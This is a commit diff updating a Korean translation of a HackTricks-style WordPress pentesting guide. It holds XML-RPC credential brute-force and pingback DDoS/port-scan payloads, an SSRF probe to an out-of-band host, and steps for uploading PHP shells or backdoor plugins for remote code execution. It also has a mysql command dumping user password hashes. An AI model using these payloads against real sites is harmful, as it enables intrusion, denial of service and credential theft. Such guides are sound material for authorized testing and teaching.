mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network
This commit is contained in:
parent
7237839a94
commit
6244698c2c
@ -4,49 +4,49 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
- **업로드된** 파일은: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다,** 따라서 테마의 일부 php를 수정하여 RCE를 얻으려면 아마 그 경로를 사용할 것입니다. 예를 들어: **theme twentytwelve**를 사용하면 다음에서 **404.php** 파일에 접근할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **또 다른 유용한 URL 예시:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- `wp-config.php`에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
|
||||
- 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- **wp-config.php** 파일에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
|
||||
- 기본 로그인 경로(확인할 것): _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
### **주요 WordPress 파일**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt`에는 설치된 WordPress 버전과 같은 유용한 정보가 포함되어 있습니다.
|
||||
- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.
|
||||
- 로그인 폴더(숨기기 위해 이름이 바뀌어 있을 수 있음):
|
||||
- `license.txt`에는 설치된 WordPress 버전 등 유용한 정보가 포함되어 있습니다.
|
||||
- `wp-activate.php`는 새 WordPress 사이트 설정 시 이메일 활성화 과정에 사용됩니다.
|
||||
- 로그인 폴더 (숨기기 위해 이름이 변경되었을 수 있음):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 하는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
|
||||
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉터리입니다.
|
||||
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉터리입니다.
|
||||
- `wp-includes/`는 인증서, 폰트, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉터리입니다.
|
||||
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서는 공개 게시물과 공개적으로 쿼리 가능한 포스트 타입 및 분류를 포함한 sitemap XML 파일을 생성합니다.
|
||||
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용해 데이터를 전송할 수 있게 하는 WordPress 기능을 나타내는 파일입니다. 이 유형의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
|
||||
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
|
||||
- `wp-content/uploads/` 는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
|
||||
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일, 위젯 등 핵심 파일이 저장되는 디렉토리입니다.
|
||||
- `wp-sitemap.xml` WordPress 5.5 이상 버전에서는 공개 포스트와 공개적으로 쿼리 가능한 포스트 타입 및 분류(taxonomies)를 포함한 sitemap XML 파일을 생성합니다.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명과 비밀번호, 인증 키와 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 DEBUG 모드를 활성화하는 데에도 사용될 수 있으며, 문제 해결에 유용합니다.
|
||||
- `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명과 비밀번호, 인증 키 및 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 들어 있습니다. 이 설정 파일은 또한 문제 해결 시 유용한 DEBUG 모드를 활성화하는 데 사용할 수 있습니다.
|
||||
|
||||
### 사용자 권한
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: 자신의 게시물과 다른 사람의 게시물을 게시하고 관리합니다
|
||||
- **Author**: 자신의 게시물을 게시하고 관리합니다
|
||||
- **Contributor**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다
|
||||
- **Subscriber**: 게시물을 열람하고 자신의 프로필을 편집합니다
|
||||
- **Editor**: 자신의 및 다른 사람의 게시물을 발행하고 관리합니다
|
||||
- **Author**: 자신의 게시물을 발행하고 관리합니다
|
||||
- **Contributor**: 작성하고 자신의 게시물을 관리할 수 있으나 게시할 수는 없습니다
|
||||
- **Subscriber**: 게시물을 열람하고 프로필을 수정합니다
|
||||
|
||||
## **Passive Enumeration**
|
||||
## **수동 열거**
|
||||
|
||||
### **Get WordPress version**
|
||||
### **WordPress 버전 확인**
|
||||
|
||||
`/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인하세요.
|
||||
파일 `/license.txt` 또는 `/readme.html`을 찾을 수 있는지 확인하세요.
|
||||
|
||||
페이지의 **소스 코드** 내부에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
페이지의 **소스 코드** 안에서 (예: [https://wordpress.org/support/article/pages/]):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### 일반적으로 버전 추출
|
||||
### 일반적인 버전 추출
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Active enumeration
|
||||
## 능동적 열거
|
||||
|
||||
### Plugins and Themes
|
||||
### 플러그인 및 테마
|
||||
|
||||
모든 Plugins and Themes를 찾지 못할 가능성이 높습니다. 모두 찾아내기 위해서는 **actively Brute Force a list of Plugins and Themes** 해야 합니다(운 좋게도 이러한 목록을 포함한 자동화 도구들이 있습니다).
|
||||
모든 플러그인 및 테마를 전부 찾을 수는 없을 것입니다. 그들을 모두 발견하려면 **actively Brute Force a list of Plugins and Themes** 해야 합니다 (운 좋게도 이러한 목록을 포함한 자동화 도구들이 있습니다).
|
||||
|
||||
### Users
|
||||
### 사용자
|
||||
|
||||
- **ID Brute:** WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
응답이 **200** 또는 **30X**이면 해당 id는 **유효**입니다. 응답이 **400**이면 id는 **무효**입니다.
|
||||
응답이 **200** 또는 **30X**이면 해당 id가 **유효**합니다. 응답이 **400**이면 id가 **무효**입니다.
|
||||
|
||||
- **wp-json:** 쿼리하여 사용자에 대한 정보를 얻어볼 수도 있습니다:
|
||||
- **wp-json:** 사용자 정보를 쿼리해 얻어볼 수도 있습니다:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
사용자에 대한 일부 정보를 노출할 수 있는 또 다른 `/wp-json/` endpoint는:
|
||||
사용자에 대한 일부 정보를 드러낼 수 있는 또 다른 `/wp-json/` 엔드포인트는:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**
|
||||
이 엔드포인트는 게시물을 작성한 사용자만 노출합니다. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**.
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
또한 **/wp-json/wp/v2/pages**가 IP 주소를 leak할 수 있다는 점에 유의하세요.
|
||||
|
||||
- **Login username enumeration**: **`/wp-login.php`**에 로그인할 때 **메시지**가 해당 **사용자 이름의 존재 여부**에 따라 **다릅니다**.
|
||||
- **Login username enumeration**: 로그인 시 **`/wp-login.php`**의 **메시지**가 **서로 다르며** **사용자명 존재 여부**를 나타냅니다.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
`xml-rpc.php`가 활성화되어 있으면 credentials brute-force를 수행하거나 다른 리소스에 DoS 공격을 실행하는 데 사용할 수 있습니다. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
`xml-rpc.php`가 활성화되어 있으면 credentials brute-force를 수행하거나 이를 사용하여 다른 리소스에 DoS 공격을 실행할 수 있습니다. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
활성화 여부를 확인하려면 _**/xmlrpc.php**_에 접근하여 다음 요청을 전송해보세요:
|
||||
활성화 여부를 확인하려면 _**/xmlrpc.php**_에 접근해 다음 요청을 보내보세요:
|
||||
|
||||
**확인**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`**는 credentials를 brute-force하는 데 사용할 수 있는 몇 가지 메서드입니다. 이들 중 어느 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`** 는 credentials을 brute-force하는 데 사용할 수 있는 몇 가지 메서드입니다. 만약 이들 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
자격 증명이 올바르지 않으면 200 응답 코드 내에 있는 _"Incorrect username or password"_ 메시지가 표시되어야 합니다.
|
||||
자격 증명이 유효하지 않을 경우 200 코드 응답 내에 _"Incorrect username or password"_ 메시지가 표시되어야 합니다.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에서 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,17 +168,18 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
또한 같은 요청에서 여러 credentials를 시도할 수 있으므로 **`system.multicall`**을 사용해 credentials를 brute-force하는 **더 빠른 방법**이 있습니다:
|
||||
또한 같은 요청에서 여러 credentials를 시도할 수 있기 때문에 **`system.multicall`**을 사용해 credentials를 더 빠르게 brute-force할 수 있습니다:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
이 방법은 프로그램용(사람용이 아니며)으로 만들어졌고 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 creds를 가지고 있지만 메인 진입이 2FA로 보호되어 있다면, **xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있습니다**. 콘솔에서 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하는 것처럼 여전히 RCE에 도달할 수 있을지도 모릅니다.
|
||||
이 방법은 사람을 위한 것이 아니라 프로그램용으로 오래된 방식이어서 2FA를 지원하지 않습니다. 따라서 유효한 creds가 있지만 메인 진입이 2FA로 보호되어 있다면, **xmlrpc.php를 악용해 해당 creds로 로그인하여 2FA를 우회할 수 있을지도 모릅니다**. 콘솔을 통해 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하는 것처럼 여전히 RCE에 도달할 수 있습니다.
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
목록에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.\ 이 기능을 이용하면 **수천 개**의 **Wordpress** **사이트**가 하나의 **위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 **location**에서 **DDoS**가 발생합니다) 또는 **Wordpress**를 이용해 내부 **네트워크**의 일부를 **스캔**하게 만들 수도 있습니다(임의의 포트를 지정할 수 있습니다).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -190,9 +191,9 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
```
|
||||

|
||||
|
||||
**faultCode**의 값이 **0** (17)보다 **큰** 경우 포트가 열려 있다는 의미입니다.
|
||||
값이 **0** (17)보다 큰 **faultCode**를 받으면 포트가 열려 있다는 의미입니다.
|
||||
|
||||
이전 섹션에서 **`system.multicall`**의 사용을 확인하여 이 메서드를 악용해 DDoS를 유발하는 방법을 알아보세요.
|
||||
이 방법을 악용해 DDoS를 일으키는 방법은 이전 섹션의 **`system.multicall`** 사용 예를 참조하세요.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,14 +210,14 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
### wp-cron.php DoS
|
||||
|
||||
이 파일은 일반적으로 Wordpress 사이트의 루트에 존재합니다: **`/wp-cron.php`**\
|
||||
이 파일에 **접근**하면 "**heavy**" MySQL **query**가 수행되어 **attackers**가 **DoS**를 **유발**할 수 있습니다.\
|
||||
또한 기본적으로 `wp-cron.php`는 모든 페이지 로드(클라이언트가 Wordpress 페이지를 요청할 때마다)마다 호출되며, 트래픽이 많은 사이트에서는 문제가 생길 수 있습니다 (DoS).
|
||||
이 파일에 **접근되면** "**무거운**" MySQL **쿼리**가 수행되므로, 공격자가 이를 이용해 **DoS**를 **유발**할 수 있습니다.\
|
||||
또한 기본적으로 `wp-cron.php`는 모든 페이지 로드(클라이언트가 Wordpress 페이지를 요청할 때마다)마다 호출되므로, 트래픽이 많은 사이트에서는 문제(DoS)를 일으킬 수 있습니다.
|
||||
|
||||
Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 생성하여 필요한 작업을 정기적으로 수행하도록 설정하는 것이 권장됩니다 (문제 없이).
|
||||
Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 만들어 필요한 작업을 정기적으로 수행하도록 하는 것이 권장됩니다(문제 없이).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
다음 URL에 접근해보세요: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ 그리고 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.
|
||||
다음 URL에 접근을 시도해보세요: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ 그리고 Worpress 사이트가 여러분에게 요청을 보낼 수 있습니다.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -229,55 +230,55 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
이 도구는 **methodName: pingback.ping** 및 경로 **/wp-json/oembed/1.0/proxy**의 존재를 확인하고, 존재하면 이를 exploit하려고 시도합니다.
|
||||
이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 있는지 확인하고, 존재하면 이를 악용하려 시도합니다.
|
||||
|
||||
## 자동화 도구
|
||||
## 자동 도구
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## 비트를 덮어써서 접근 얻기
|
||||
## bit를 덮어써서 접근 얻기
|
||||
|
||||
실제 공격이라기보다 호기심에 가깝다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 임의의 wordpress 파일의 1 bit를 뒤집을 수 있었다. 예를 들어 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP 처리할 수 있다.
|
||||
실제 공격이라기보다는 호기심에 가까운 사례다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 임의의 wordpress 파일의 1 bit를 뒤집을 수 있었다. 그래서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었다.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **패널 RCE**
|
||||
## **Panel RCE**
|
||||
|
||||
**사용 중인 테마의 php 수정 (admin credentials needed)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (오른쪽)
|
||||
Appearance → Theme Editor → 404 Template (오른쪽에 있음)
|
||||
|
||||
php shell로 내용을 변경:
|
||||
php shell의 내용으로 변경:
|
||||
|
||||
.png>)
|
||||
|
||||
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 검색하세요. 이 경우 다음 URL에 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 찾아보세요. 이 경우에는 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
사용할 수 있습니다:
|
||||
다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
세션을 얻기 위해.
|
||||
to get a session.
|
||||
|
||||
## 플러그인 RCE
|
||||
## Plugin RCE
|
||||
|
||||
### PHP 플러그인
|
||||
|
||||
.php 파일을 플러그인으로 업로드할 수 있는 경우가 있습니다.\
|
||||
예를 들어 다음과 같이 php 백도어를 생성하세요:
|
||||
플러그인으로 .php 파일을 업로드할 수 있을지도 모릅니다.\
|
||||
예를 들어 다음과 같이 php backdoor를 만드세요:
|
||||
|
||||
.png>)
|
||||
|
||||
그런 다음 새 플러그인을 추가하세요:
|
||||
그런 다음 새 플러그인을 추가합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
플러그인을 업로드한 후 Install Now를 누르세요:
|
||||
플러그인을 업로드하고 'Install Now'을 누르세요:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -285,44 +286,44 @@ Procced를 클릭하세요:
|
||||
|
||||
.png>)
|
||||
|
||||
아마 아무런 변화가 없을 수 있지만, Media로 이동하면 업로드된 셸을 볼 수 있습니다:
|
||||
아마도 눈에 띄는 변화는 없을 수 있지만, Media로 가면 업로드된 shell을 볼 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
접속하면 reverse shell을 실행할 URL을 볼 수 있습니다:
|
||||
접근하면 reverse shell을 실행할 URL을 볼 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 web shell을 얻을 수 있게 하는 방식입니다. 이 과정은 WordPress 대시보드를 통해 다음과 같이 수행됩니다:
|
||||
이 방법은 알려진 취약점이 있는 악성 플러그인을 설치하여 web shell을 얻을 수 있는 방법입니다. 이 과정은 WordPress 대시보드를 통해 다음과 같이 수행됩니다:
|
||||
|
||||
1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 소스에서 획득합니다(예: [**here**](https://www.exploit-db.com/exploits/36374)).
|
||||
1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처(예: [**here**](https://www.exploit-db.com/exploits/36374))에서 입수합니다.
|
||||
2. **Plugin Installation**:
|
||||
- WordPress 대시보드로 이동한 다음 `Dashboard > Plugins > Upload Plugin`로 이동합니다.
|
||||
- WordPress 대시보드로 이동한 다음 `Dashboard > Plugins > Upload Plugin`으로 갑니다.
|
||||
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
|
||||
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드에서 활성화해야 합니다.
|
||||
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
|
||||
4. **Exploitation**:
|
||||
- reflex-gallery 플러그인이 설치되고 활성화된 상태에서 취약점이 알려져 있어 악용할 수 있습니다.
|
||||
- Metasploit framework는 이 취약점에 대한 exploit를 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter 세션을 수립해 사이트에 무단 접근할 수 있습니다.
|
||||
- 이는 WordPress 사이트를 exploit하는 여러 방법 중 하나일 뿐입니다.
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약점을 이용해 익스플로잇할 수 있습니다.
|
||||
- Metasploit framework는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 수립하여 사이트에 대한 무단 접근을 얻을 수 있습니다.
|
||||
- 이는 WordPress 사이트를 악용하는 여러 방법 중 하나일 뿐입니다.
|
||||
|
||||
이 내용은 플러그인 설치 및 활성화 단계를 보여주는 시각적 자료를 포함합니다. 그러나 적절한 허가 없이 이러한 방식으로 취약점을 exploit하는 것은 불법이며 비윤리적임을 명심해야 합니다. 이 정보는 책임감 있게, 예컨대 명시적 허가를 받은 penetration testing 같은 합법적인 상황에서만 사용해야 합니다.
|
||||
해당 내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드 단계의 시각적 설명이 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 허가 없이 불법적이며 비윤리적임을 명심해야 합니다. 이 정보는 책임있게, 명시적인 허가가 있는 pentesting 등 합법적인 맥락에서만 사용해야 합니다.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## XSS에서 RCE로
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 는 WordPress에서 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 기타 심각한 취약점으로 상승시키도록 설계된 스크립트입니다. 자세한 내용은 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)를 확인하세요. 다음을 지원합니다:
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 WordPress에서 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 기타 치명적 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)를 확인하세요. 이 도구는 **Wordpress Versions 6.X.X, 5.X.X and 4.X.X를 지원하며 다음을 허용합니다:**
|
||||
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 지정 플러그인(backdoor)을 WordPress에 업로드합니다.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 수정합니다.
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 수정합니다.
|
||||
- _**(Custom) Custom Exploits:**_ 타사 WordPress 플러그인/테마를 위한 Custom Exploits.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 맞춤 플러그인(backdoor)을 WordPress에 업로드합니다.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
|
||||
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마를 위한 맞춤 익스플로잇을 제공합니다.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
사용자 이름과 비밀번호 추출:
|
||||
사용자명과 비밀번호 추출:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -332,27 +333,27 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
```
|
||||
## Wordpress 플러그인 Pentest
|
||||
|
||||
### Attack Surface
|
||||
### 공격 표면
|
||||
|
||||
Wordpress 플러그인이 어떻게 기능을 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 중요합니다. 다음 항목들에서 플러그인이 기능을 어떻게 노출할 수 있는지와 취약한 플러그인 사례들을 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에서 확인할 수 있습니다.
|
||||
Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심입니다. 다음 목록에서 플러그인이 기능을 노출할 수 있는 방법과 취약한 플러그인의 몇 가지 예를 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에서 확인할 수 있습니다.
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
플러그인이 기능을 노출하는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러들은 로직, authorization, 또는 authentication 버그를 포함할 수 있습니다. 게다가 이러한 함수들은 인증과 권한 부여를 모두 Wordpress nonce의 존재에 기반하는 경우가 꽤 자주 있으며, 이 nonce는 **Wordpress 인스턴스에 인증된 어떤 사용자라도 가질 수 있습니다**(역할과 무관하게).
|
||||
플러그인이 사용자에게 기능을 노출하는 방법 중 하나는 AJAX handlers를 통한 것입니다. 이러한 것들은 logic, authorization, 또는 authentication 버그를 포함할 수 있습니다. 또한 이러한 함수들이 인증과 권한을 모두 Wordpress nonce의 존재 여부에 기반하는 경우가 꽤 자주 있으며, 이는 **Wordpress 인스턴스에서 인증된 모든 사용자가 가질 수 있습니다**(역할과 무관하게).
|
||||
|
||||
These are the functions that can be used to expose a function in a plugin:
|
||||
다음은 플러그인에서 함수를 노출하는 데 사용될 수 있는 함수들입니다:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv`의 사용은 해당 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.**
|
||||
**`nopriv`의 사용은 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.**
|
||||
|
||||
> [!CAUTION]
|
||||
